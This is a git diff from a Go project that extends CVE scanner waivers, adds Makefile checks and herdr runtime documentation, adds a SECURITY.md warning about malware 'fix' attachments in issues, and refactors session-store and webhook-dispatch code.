+    statement: golang.org/x/net HTML rendering issue; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0), gc (indirect x/net v0.52.0), and kubectl (external, x/net v0.49.0). Remove once bd/kubectl rebuild upstream and gc bumps golang.org/x/net >= 0.55.0.
   - id: CVE-2026-42506
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
-    statement: golang.org/x/net HTML rendering issue; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin), gc (indirect x/net v0.52.0), and kubectl (external, x/net v0.49.0). Remove once bd/kubectl rebuild upstream and gc bumps golang.org/x/net >= 0.55.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/net HTML rendering issue; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0), gc (indirect x/net v0.52.0), and kubectl (external, x/net v0.49.0). Remove once bd/kubectl rebuild upstream and gc bumps golang.org/x/net >= 0.55.0.
   - id: CVE-2026-33814
     paths:
       - "usr/local/bin/gc"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: golang.org/x/net http2 issue; base-pre-existing (also red on main 2026-06-24). gc only (indirect x/net v0.52.0); bd/br/dolt/kubectl already covered by the stdlib waiver above. Remove once gc bumps golang.org/x/net >= 0.53.0.
   - id: CVE-2026-39827
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
-    expired_at: 2026-07-07
-    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
   - id: CVE-2026-39828
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
-    expired_at: 2026-07-07
-    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
   - id: CVE-2026-39829
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
-    expired_at: 2026-07-07
-    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
   - id: CVE-2026-39830
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
-    expired_at: 2026-07-07
-    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
+  - id: CVE-2026-39831
+    paths:
+      - "usr/local/bin/bd"
+      - "usr/local/bin/gc"
+    expired_at: 2026-08-07
+    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
   - id: CVE-2026-39832
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
-    expired_at: 2026-07-07
-    statement: golang.org/x/crypto/ssh/agent CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/crypto/ssh/agent CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
   - id: CVE-2026-39835
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
-    expired_at: 2026-07-07
-    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
   - id: CVE-2026-42508
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
-    expired_at: 2026-07-07
-    statement: golang.org/x/crypto/ssh/knownhosts CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/crypto/ssh/knownhosts CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
   - id: CVE-2026-46595
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
-    expired_at: 2026-07-07
-    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
   - id: CVE-2026-46597
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
-    expired_at: 2026-07-07
-    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/crypto/ssh CVE; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0) and gc (indirect x/crypto v0.49.0). Remove once bd rebuilds and gc bumps golang.org/x/crypto >= 0.52.0.
diff --git a/Makefile b/Makefile
index 5ae90c2dfb..ff0820ec14 100644
--- a/Makefile
+++ b/Makefile
@@ -64,7 +64,7 @@ endif
 endif
 endif
 
-.PHONY: build check check-all check-bd check-docker check-docs check-dolt check-eventexport-isolation check-gomod-replace check-native-dependency-surface check-routed-test-rows check-version-tag lint lint-full lint-new lint-changed fmt-check fmt vet test test-mac test-fast-parallel test-fsys-darwin-compile test-pack-registry-live test-native-doltlite-beads test-cmd-gc-process test-cmd-gc-process-shard test-cmd-gc-process-parallel test-worker-core test-worker-core-phase2 test-worker-core-phase2-real-transport setup-worker-inference test-worker-inference test-worker-inference-phase3 test-acceptance test-acceptance-b test-acceptance-c test-acceptance-all test-tutorial-goldens test-tutorial-regression test-tutorial test-integration test-integration-shards test-integration-shards-parallel test-integration-shards-cover test-integration-packages test-integration-packages-cover test-integration-review-formulas test-integration-review-formulas-cover test-integration-review-formulas-basic test-integration-review-formulas-basic-cover test-integration-review-formulas-retries test-integration-review-formulas-retries-cover test-integration-review-formulas-recovery test-integration-review-formulas-recovery-cover test-integration-bdstore test-integration-bdstore-cover test-integration-rest test-integration-rest-cover test-integration-rest-smoke test-integration-rest-smoke-cover test-integration-rest-full test-integration-rest-full-cover test-local-full-parallel test-mail-wisp-insert test-mcp-mail test-openclaw-bridge test-docker test-k8s test-cover test-cover-mac test-cover-noncmdgc test-cover-cmdgc-shard cover install install-tools install-buildx setup clean generate check-schema docker-base docker-agent docker-controller docs-dev diagrams-excalidraw dashboard-smoke
+.PHONY: build check check-all check-bd check-docker check-docs check-dolt check-eventexport-isolation check-gomod-replace check-core-boundary check-native-dependency-surface check-routed-test-rows check-version-tag lint lint-full lint-new lint-changed fmt-check fmt vet test test-mac test-fast-parallel test-fsys-darwin-compile test-pack-registry-live test-native-doltlite-beads test-cmd-gc-process test-cmd-gc-process-shard test-cmd-gc-process-parallel test-worker-core test-worker-core-phase2 test-worker-core-phase2-real-transport setup-worker-inference test-worker-inference test-worker-inference-phase3 test-acceptance test-acceptance-b test-acceptance-c test-acceptance-all test-tutorial-goldens test-tutorial-regression test-tutorial test-integration test-integration-shards test-integration-shards-parallel test-integration-shards-cover test-integration-packages test-integration-packages-cover test-integration-review-formulas test-integration-review-formulas-cover test-integration-review-formulas-basic test-integration-review-formulas-basic-cover test-integration-review-formulas-retries test-integration-review-formulas-retries-cover test-integration-review-formulas-recovery test-integration-review-formulas-recovery-cover test-integration-bdstore test-integration-bdstore-cover test-integration-rest test-integration-rest-cover test-integration-rest-smoke test-integration-rest-smoke-cover test-integration-rest-full test-integration-rest-full-cover test-local-full-parallel test-mail-wisp-insert test-mcp-mail test-openclaw-bridge test-docker test-k8s test-cover test-cover-mac test-cover-noncmdgc test-cover-cmdgc-shard cover install install-tools install-buildx setup clean generate check-schema docker-base docker-agent docker-controller docs-dev diagrams-excalidraw dashboard-smoke
 
 ## build: compile gc binary with version metadata
 build:
@@ -127,6 +127,10 @@ check-routed-test-rows:
 check-gomod-replace:
 	bash scripts/check-gomod-replace.sh go.mod
 
+## check-core-boundary: guard the open-core boundary (no commercial coupling in the OSS module)
+check-core-boundary:
+	bash scripts/check-core-boundary.sh
+
 ## check-native-dependency-surface: guard native beads dependency and binary growth
 check-native-dependency-surface:
 	bash scripts/check-native-dependency-surface.sh
@@ -711,9 +715,9 @@ dashboard-build:
 dashboard-dev:
 	cd internal/api/dashboardspa/web && npm run --workspace gas-city-dashboard-frontend dev
 
-## dashboard-check: typecheck + build the SPA, then go test the embedded handler + BFF
+## dashboard-check: typecheck (src + test files) + build the SPA, then go test the embedded handler + BFF
 dashboard-check: dashboard-build
-	cd internal/api/dashboardspa/web && npm run typecheck
+	cd internal/api/dashboardspa/web && npm run typecheck && npm run --workspace gas-city-dashboard-frontend typecheck:test
 	$(TEST_ENV) go test ./internal/api/dashboardspa/... ./internal/api/dashboardbff/...
 
 ## dashboard-smoke: serve the built SPA bundle via Vite preview and verify it responds
diff --git a/README.md b/README.md
index dd279e3316..3628dbdff1 100644
--- a/README.md
+++ b/README.md
@@ -35,7 +35,7 @@ trying to port the entire Town architecture literally.
 ## What You Get
 
 - Declarative city configuration in `city.toml`
-- Multiple runtime providers: tmux, subprocess, exec, ACP, and Kubernetes
+- Multiple runtime providers: tmux, subprocess, exec, ACP, Kubernetes, and herdr
 - Beads-backed work tracking, formulas, molecules, waits, and mail
 - A controller/supervisor loop that reconciles desired state to running state
 - Packs, overrides, and rig-scoped orchestration for multi-project setups
@@ -62,6 +62,12 @@ Gas City requires the following tools on your system. `gc init` and
 | gh | Optional GitHub gates | — | `brew install gh` | [cli.github.com](https://cli.github.com/) |
 | claude / codex / gemini | Per provider | — | See provider docs | See provider docs |
 
+tmux is the default session backend **and** the fallback, so it stays required
+even if you run agents on another backend. [herdr](https://herdr.dev) is an
+optional alternative backend — see
+[herdr Session Provider](docs/reference/herdr-provider.md) to enable it
+per-agent, per-rig, or city-wide.
+
 The `bd` (beads) provider is the default. To use a file-based store instead
 (no dolt/bd/flock needed), set `GC_BEADS=file` or add `[beads] provider = "file"`
 to your `city.toml`.
@@ -158,7 +164,7 @@ make docs-dev
 | Path | What it contains |
 |---|---|
 | `cmd/gc/` | CLI entrypoints, controller wiring, runtime assembly, and command handlers |
-| `internal/runtime/` | Runtime provider abstraction plus tmux, subprocess, exec, ACP, K8s, and hybrid implementations |
+| `internal/runtime/` | Runtime provider abstraction plus tmux, subprocess, exec, ACP, K8s, hybrid, and herdr implementations |
 | `internal/config/` | `city.toml` schema, validation, composition, packs, patches, and override resolution |
 | `internal/beads/` | Store abstraction and provider implementations for beads (work, mail, convoys) and waits |
 | `internal/session/` | Session bead metadata, wait lifecycle helpers, and session identity utilities |
diff --git a/SECURITY.md b/SECURITY.md
index 919ee2b3ff..2dd1e07c40 100644
--- a/SECURITY.md
+++ b/SECURITY.md
@@ -25,6 +25,32 @@ security advisory. If a fix is needed, it will be released before public
 disclosure unless there is an active exploitation risk that requires faster
 notice.
 
+## Malicious "fix" attachments in issues, PRs, and discussions
+
+Automated spam accounts have been posting on newly-opened issues across GitHub —
+including in this project — with a friendly, issue-specific message and an
+attached archive (for example a file named like `*_fix.zip`, `fix_win.zip`, or a
+"patched build") that claims to solve your problem. **These files are malware. Do
+not download or run them.**
+
+How to stay safe:
+
+- **Official builds and releases come only from this repository's
+  [Releases](https://github.com/gastownhall/gascity/releases) page** and the project's documented install
+  instructions. Maintainers will never ask you to download a zip or executable
+  posted in an issue, pull request, or discussion comment.
+- A link that points to `github.com/user-attachments/files/...` is a file
+  someone attached to a comment — it is **not** a vetted release asset, even
+  though the URL is hosted on `github.com`.
+- Be especially wary of a brand-new account offering a "fix" as a download
+  within minutes of your post, or telling you to run an install command for a
+  package or module that is not an official project source.
+
+If you see one of these comments, please **report it** (the comment's `...` menu
+→ *Report content*) and do not click the attachment. Note that deleting the
+comment does not remove the uploaded file from GitHub's servers, so also report
+the attachment to GitHub Support so it can be taken down.
+
 ## Supported Versions
 
 Security fixes target the current stable major release unless a separate support
diff --git a/cmd/gc/adoption_barrier.go b/cmd/gc/adoption_barrier.go
index bf46f050e8..85fe299da7 100644
--- a/cmd/gc/adoption_barrier.go
+++ b/cmd/gc/adoption_barrier.go
@@ -54,7 +54,7 @@ var poolSlotPattern = regexp.MustCompile(`-(\d+)$`)
 // sessions have beads).
 func runAdoptionBarrier(
 	cityPath string,
-	sessFront *sessionpkg.InfoStore,
+	sessFront *sessionpkg.Store,
 	sp runtime.Provider,
 	cfg *config.City,
 	cityName string,
@@ -67,9 +67,9 @@ func runAdoptionBarrier(
 	if sessFront == nil {
 		return result, false
 	}
-	// Session-bead list queries below go through the raw store the front door
-	// wraps (sessionpkg.ListAllSessionBeads takes a beads.Store); creates go
-	// through the front door. Same underlying store, so behavior is unchanged.
+	// Session-bead list queries below go through the raw session-class store the
+	// front door wraps (sessionpkg.ListAllSessionBeads takes a raw store); creates
+	// go through the front door. Same underlying store, so behavior is unchanged.
 	store := sessFront.Store().Store
 
 	// Step 1: List all running sessions.
@@ -103,7 +103,7 @@ func runAdoptionBarrier(
 		if b.Status == "closed" {
 			continue // closed beads don't count for dedup
 		}
-		if sn := b.Metadata["session_name"]; sn != "" {
+		if sn := sessionpkg.InfoFromPersistedBead(b).SessionNameMetadata; sn != "" {
 			bySessionName[sn] = true
 		}
 	}
@@ -168,14 +168,15 @@ func runAdoptionBarrier(
 		}
 
 		// Build bead metadata. Config/live hashes are left empty —
-		// syncSessionBeads populates them from built agent objects.
-		meta := map[string]string{
-			"session_name":       sessionName,
-			"state":              "active",
-			"generation":         strconv.Itoa(sessionpkg.DefaultGeneration),
-			"continuation_epoch": strconv.Itoa(sessionpkg.DefaultContinuationEpoch),
-			"instance_token":     sessionpkg.NewInstanceToken(),
-		}
+		// syncSessionBeads populates them from built agent objects. agent_name
+		// and pool_slot are stamped below once pool-base resolution completes.
+		meta := desiredSessionIdentity(sessionIdentityInputs{
+			SessionName:       sessionName,
+			State:             "active",
+			Generation:        sessionpkg.DefaultGeneration,
+			ContinuationEpoch: sessionpkg.DefaultContinuationEpoch,
+			InstanceToken:     sessionpkg.NewInstanceToken(),
+		})
 
 		detail := adoptionDetail{SessionName: sessionName}
 
@@ -274,7 +275,7 @@ func runAdoptionBarrier(
 	return result, passed
 }
 
-func openSessionBeadExists(sessFront *sessionpkg.InfoStore, sessionName string) (bool, error) {
+func openSessionBeadExists(sessFront *sessionpkg.Store, sessionName string) (bool, error) {
 	existing, err := sessionpkg.ListAllSessionBeads(sessFront.Store().Store, beads.ListQuery{
 		Metadata: map[string]string{"session_name": sessionName},
 		Live:     true,
diff --git a/cmd/gc/api_state.go b/cmd/gc/api_state.go
index 9724d2af71..39439557f8 100644
--- a/cmd/gc/api_state.go
+++ b/cmd/gc/api_state.go
@@ -27,6 +27,7 @@ import (
 	"github.com/gastownhall/gascity/internal/git"
 	"github.com/gastownhall/gascity/internal/mail"
 	"github.com/gastownhall/gascity/internal/orderdiscovery"
+	"github.com/gastownhall/gascity/internal/orderdispatch"
 	"github.com/gastownhall/gascity/internal/orders"
 	"github.com/gastownhall/gascity/internal/runtime"
 	"github.com/gastownhall/gascity/internal/session"
@@ -36,7 +37,8 @@ import (
 	"github.com/gastownhall/gascity/internal/workspacesvc"
 )
 
-// controllerState implements api.State and api.StateMutator.
+// controllerState implements api.State, api.StateMutator, and
+// api.ConfigWriteSerializer.
 // Protected by an RWMutex for hot-reload: readers take RLock,
 // the controller loop takes Lock when updating cfg/sp/stores.
 type controllerState struct {
@@ -1189,6 +1191,18 @@ func (cs *controllerState) CityBeadStore() beads.Store {
 	return cs.cityBeadStore
 }
 
+// ScopedStoreLike implements api.State. See the interface doc comment for
+// the contract; scopedStoreLike (cmd/gc/scoped_store.go) does the actual
+// unwrap-and-rebuild work, reusing the same credential/env resolution as
+// every other bd-CLI store this package constructs.
+func (cs *controllerState) ScopedStoreLike(ctx context.Context, existing beads.Store) (beads.Store, error) {
+	cs.mu.RLock()
+	cityPath := cs.cityPath
+	cfg := cs.cfg
+	cs.mu.RUnlock()
+	return scopedStoreLike(ctx, cityPath, cfg, existing)
+}
+
 // NudgesBeadStore returns the store backing the nudge-queue shadow beads. At the
 // default backend resolveNudgesStore returns cityBeadStore, so this is byte-identical
 // to CityBeadStore; when [beads.classes.nudges] is relocated it returns the per-class
@@ -1319,6 +1333,18 @@ func (cs *controllerState) DisableOrder(name, rig string) error {
 	})
 }
 
+// SerializeConfigWrite runs fn under the same per-city mutation lock the
+// configedit.Editor uses for agent/rig/provider/formula edits. The HTTP pack
+// import add/remove handlers write pack.toml, packs.lock, and sometimes
+// city.toml outside the Editor callback shape, so routing them through this
+// shared lock keeps concurrent config writers from interleaving and losing an
+// update or desyncing the manifest and lockfile.
+func (cs *controllerState) SerializeConfigWrite(fn func() error) error {
+	return cs.editor.Do(fn)
+}
+
+var _ api.ConfigWriteSerializer = (*controllerState)(nil)
+
 // SuspendAgent writes suspended=true to durable agent config.
 // Uses configedit.Editor for provenance-aware edit (inline vs discovered vs patch).
 func (cs *controllerState) SuspendAgent(name string) error {
@@ -1580,6 +1606,7 @@ func (cs *controllerState) UpdateProvider(name string, patch api.ProviderUpdate)
 			Env:                patch.Env,
 			OptionsSchemaMerge: patch.OptionsSchemaMerge,
 			OptionsSchema:      patch.OptionsSchema,
+			OptionDefaults:     patch.OptionDefaults,
 		})
 	})
 }
@@ -1863,6 +1890,42 @@ func (cs *controllerState) ServiceRegistry() workspacesvc.Registry {
 	return cs.services
 }
 
+// WebhookDispatcher implements api.WebhookDispatchProvider — the H1/E0.5 dispatch
+// seam the supervisor webhook receiver (E3/E6) fires verified+matched deliveries
+// through. It returns an adapter that dispatches a pre-resolved order through the
+// same launchResolvedDispatch → dispatchOne core the controller tick loop uses.
+//
+// The adapter builds a fresh, detached memoryOrderDispatcher per delivery from the
+// CURRENT cfg (read under the hot-reload lock) so a webhook dispatch reflects a
+// config reload without a rebuild hook and never races the reconciler's live tick
+// dispatcher (cr.od, which is single-goroutine-owned by the reconcile loop and may
+// be nil for a webhook-only city). The seam's Dispatch path consults no per-tick
+// dispatcher state (cooldown cache, open-work gate) — it validates required params,
+// writes the tracking bead, and launches dispatchOne — so a per-delivery instance
+// is byte-equivalent to a long-lived one, and the order's own timeout bounds the
+// async work.
+func (cs *controllerState) WebhookDispatcher() orderdispatch.Dispatcher {
+	return controllerWebhookDispatcher{cs: cs}
+}
+
+// controllerWebhookDispatcher adapts controllerState into orderdispatch.Dispatcher.
+type controllerWebhookDispatcher struct{ cs *controllerState }
+
+func (d controllerWebhookDispatcher) Dispatch(ctx context.Context, req orderdispatch.DispatchRequest) (orderdispatch.DispatchResult, error) {
+	cs := d.cs
+	cs.mu.RLock()
+	cfg := cs.cfg
+	var rec events.Recorder = cs.eventProv
+	cs.mu.RUnlock()
+	if rec == nil {
+		// dispatchOne records OrderFired/Completed/Failed unconditionally; a
+		// discard recorder keeps it panic-free when the city has events disabled.
+		rec = events.Discard
+	}
+	md := newMemoryOrderDispatcher(nil, cs.cityPath, cfg, rec, os.Stderr)
+	return md.Dispatch(ctx, req)
+}
+
 // ExtMsgServices returns the external messaging services.
 func (cs *controllerState) ExtMsgServices() *extmsg.Services {
 	cs.mu.RLock()
diff --git a/cmd/gc/assigned_work_scope.go b/cmd/gc/assigned_work_scope.go
index c0e4a08af3..7805f37aa9 100644
--- a/cmd/gc/assigned_work_scope.go
+++ b/cmd/gc/assigned_work_scope.go
@@ -6,6 +6,7 @@ import (
 	"github.com/gastownhall/gascity/internal/agentutil"
 	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/config"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
 )
 
 func assignedWorkStoreRefForAgent(cityPath string, cfg *config.City, agentCfg *config.Agent) string {
@@ -87,7 +88,7 @@ func assignedWorkIndexReachableFromAgent(cityPath string, cfg *config.City, agen
 func filterAssignedWorkBeadsForPoolDemand(
 	cfg *config.City,
 	cityPath string,
-	sessionBeads []beads.Bead,
+	sessionInfos []sessionpkg.Info,
 	assignedWorkBeads []beads.Bead,
 	assignedWorkStoreRefs []string,
 ) []beads.Bead {
@@ -99,18 +100,18 @@ func filterAssignedWorkBeadsForPoolDemand(
 	}
 	assigneeToSessionBeadID := make(map[string]string)
 	sessionBeadTemplate := make(map[string]string)
-	for _, sb := range sessionBeads {
-		if sb.Status == "closed" {
+	for _, sb := range sessionInfos {
+		if sb.Closed {
 			continue
 		}
-		template := normalizedSessionTemplate(sb, cfg)
+		template := normalizedSessionTemplateInfo(sb, cfg)
 		if template == "" {
-			template = strings.TrimSpace(sb.Metadata["template"])
+			template = strings.TrimSpace(sb.Template)
 		}
 		if template != "" {
 			sessionBeadTemplate[sb.ID] = template
 		}
-		for _, id := range sessionBeadAssigneeIdentities(sb) {
+		for _, id := range sessionBeadAssigneeIdentitiesInfo(sb) {
 			assigneeToSessionBeadID[id] = sb.ID
 		}
 	}
@@ -147,7 +148,7 @@ func filterAssignedWorkBeadsForPoolDemand(
 func filterAssignedWorkBeadsForSessionWake(
 	cfg *config.City,
 	cityPath string,
-	sessionBeads []beads.Bead,
+	sessionInfos []sessionpkg.Info,
 	assignedWorkBeads []beads.Bead,
 	assignedWorkStoreRefs []string,
 ) ([]beads.Bead, []string) {
@@ -186,27 +187,27 @@ func filterAssignedWorkBeadsForSessionWake(
 		}
 		add(identity, assignedWorkStoreRefForAgent(cityPath, cfg, spec.Agent))
 	}
-	for _, sb := range sessionBeads {
-		if sb.Status == "closed" {
+	for _, sb := range sessionInfos {
+		if sb.Closed {
 			continue
 		}
-		template := normalizedSessionTemplate(sb, cfg)
+		template := normalizedSessionTemplateInfo(sb, cfg)
 		if template == "" {
-			template = strings.TrimSpace(sb.Metadata["template"])
+			template = strings.TrimSpace(sb.Template)
 		}
 		agentCfg := findAgentByTemplate(cfg, template)
 		if agentCfg == nil {
 			continue
 		}
 		if agentIsCrossStoreEligible(agentCfg) {
-			for _, id := range sessionBeadAssigneeIdentities(sb) {
+			for _, id := range sessionBeadAssigneeIdentitiesInfo(sb) {
 				crossStore[strings.TrimSpace(id)] = struct{}{}
 			}
 			crossStore[strings.TrimSpace(template)] = struct{}{}
 			continue
 		}
 		storeRef := assignedWorkStoreRefForAgent(cityPath, cfg, agentCfg)
-		for _, id := range sessionBeadAssigneeIdentities(sb) {
+		for _, id := range sessionBeadAssigneeIdentitiesInfo(sb) {
 			add(id, storeRef)
 		}
 		add(template, storeRef)
diff --git a/cmd/gc/assigned_work_scope_test.go b/cmd/gc/assigned_work_scope_test.go
index 3b36c80920..b2aea1515d 100644
--- a/cmd/gc/assigned_work_scope_test.go
+++ b/cmd/gc/assigned_work_scope_test.go
@@ -7,8 +7,23 @@ import (
 	"github.com/gastownhall/gascity/internal/agentutil"
 	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/config"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
 )
 
+// sessionInfosFromBeads projects raw session beads through the production codec
+// (session.InfoFromPersistedBead), matching how the reconciler feeds
+// snapshot.OpenInfos() into the pool-demand/session-wake filters.
+func sessionInfosFromBeads(bs []beads.Bead) []sessionpkg.Info {
+	if bs == nil {
+		return nil
+	}
+	infos := make([]sessionpkg.Info, len(bs))
+	for i, b := range bs {
+		infos[i] = sessionpkg.InfoFromPersistedBead(b)
+	}
+	return infos
+}
+
 func TestFilterAssignedWorkBeadsForSessionWakeKeepsOnlyReachableAssigneeSources(t *testing.T) {
 	cityPath := t.TempDir()
 	rigPath := filepath.Join(cityPath, "riga")
@@ -42,7 +57,7 @@ func TestFilterAssignedWorkBeadsForSessionWakeKeepsOnlyReachableAssigneeSources(
 	}
 	storeRefs := []string{"", "riga", "", "riga"}
 
-	got, gotRefs := filterAssignedWorkBeadsForSessionWake(cfg, cityPath, sessions, work, storeRefs)
+	got, gotRefs := filterAssignedWorkBeadsForSessionWake(cfg, cityPath, sessionInfosFromBeads(sessions), work, storeRefs)
 
 	if len(got) != 2 {
 		t.Fatalf("filtered work length = %d, want 2: %#v", len(got), got)
@@ -113,7 +128,7 @@ func TestFilterAssignedWorkBeadsForPoolDemandKeepsDirectAssigneeAfterTemplateFal
 		Metadata: map[string]string{},
 	}}
 
-	got := filterAssignedWorkBeadsForPoolDemand(cfg, "", sessions, work, []string{""})
+	got := filterAssignedWorkBeadsForPoolDemand(cfg, "", sessionInfosFromBeads(sessions), work, []string{""})
 
 	if len(got) != 1 || got[0].ID != "direct-assigned" {
 		t.Fatalf("filtered work = %#v, want direct-assigned work preserved through template fallback", got)
@@ -172,7 +187,7 @@ func TestFilterAssignedWorkBeadsForPoolDemandKeepsPersistedBoundRoute(t *testing
 		},
 	}}
 
-	got := filterAssignedWorkBeadsForPoolDemand(cfg, cityPath, sessions, work, []string{"gascity-packs"})
+	got := filterAssignedWorkBeadsForPoolDemand(cfg, cityPath, sessionInfosFromBeads(sessions), work, []string{"gascity-packs"})
 
 	if len(got) != 1 || got[0].ID != "gp-qx0o" {
 		t.Fatalf("filtered work = %#v, want persisted bound route preserved", got)
@@ -204,7 +219,7 @@ func TestFilterAssignedWorkBeadsForPoolDemandDropsDirectAssigneeFromUnreachableS
 		Metadata: map[string]string{},
 	}}
 
-	got := filterAssignedWorkBeadsForPoolDemand(cfg, cityPath, sessions, work, []string{"riga"})
+	got := filterAssignedWorkBeadsForPoolDemand(cfg, cityPath, sessionInfosFromBeads(sessions), work, []string{"riga"})
 
 	if len(got) != 0 {
 		t.Fatalf("filtered work = %#v, want unreachable rig-store direct assignment dropped", got)
@@ -616,7 +631,7 @@ func TestResolveTaskWorkDirIncludesAssignedWisp(t *testing.T) {
 		t.Fatalf("mark wisp in progress: %v", err)
 	}
 
-	if got := resolveTaskWorkDir(store, "worker-session"); got != workDir {
+	if got := resolveTaskWorkDir("", store, "worker-session"); got != workDir {
 		t.Fatalf("resolveTaskWorkDir = %q, want assigned wisp work_dir %q", got, workDir)
 	}
 }
diff --git a/cmd/gc/bd_env.go b/cmd/gc/bd_env.go
index f114601957..93287c0832 100644
--- a/cmd/gc/bd_env.go
+++ b/cmd/gc/bd_env.go
@@ -1309,7 +1309,18 @@ func cityPostgresProjectionErrorCanBeBypassed(cityPath string, err error) bool {
 }
 
 func bdRuntimeEnvForRigWithError(cityPath string, cfg *config.City, rigPath string) (map[string]string, error) {
-	env, cityErr := bdRuntimeEnvWithError(cityPath)
+	return bdRuntimeEnvForRigWithErrorRecovery(cityPath, cfg, rigPath, true)
+}
+
+// bdRuntimeEnvForRigWithErrorNoRecovery is bdRuntimeEnvForRigWithError
+// without the managed-dolt recovery side effects; see
+// bdRuntimeEnvWithErrorNoRecovery for why (gascity ga-cdmx6x).
+func bdRuntimeEnvForRigWithErrorNoRecovery(cityPath string, cfg *config.City, rigPath string) (map[string]string, error) {
+	return bdRuntimeEnvForRigWithErrorRecovery(cityPath, cfg, rigPath, false)
+}
+
+func bdRuntimeEnvForRigWithErrorRecovery(cityPath string, cfg *config.City, rigPath string, allowRecovery bool) (map[string]string, error) {
+	env, cityErr := bdRuntimeEnvWithErrorRecovery(cityPath, allowRecovery)
 	rigPath = filepath.Clean(rigPath)
 	// Pin the rig store explicitly. The gc-beads-bd provider derives its Dolt
 	// data root from GC_CITY_PATH unless BEADS_DIR is set, so cwd-based
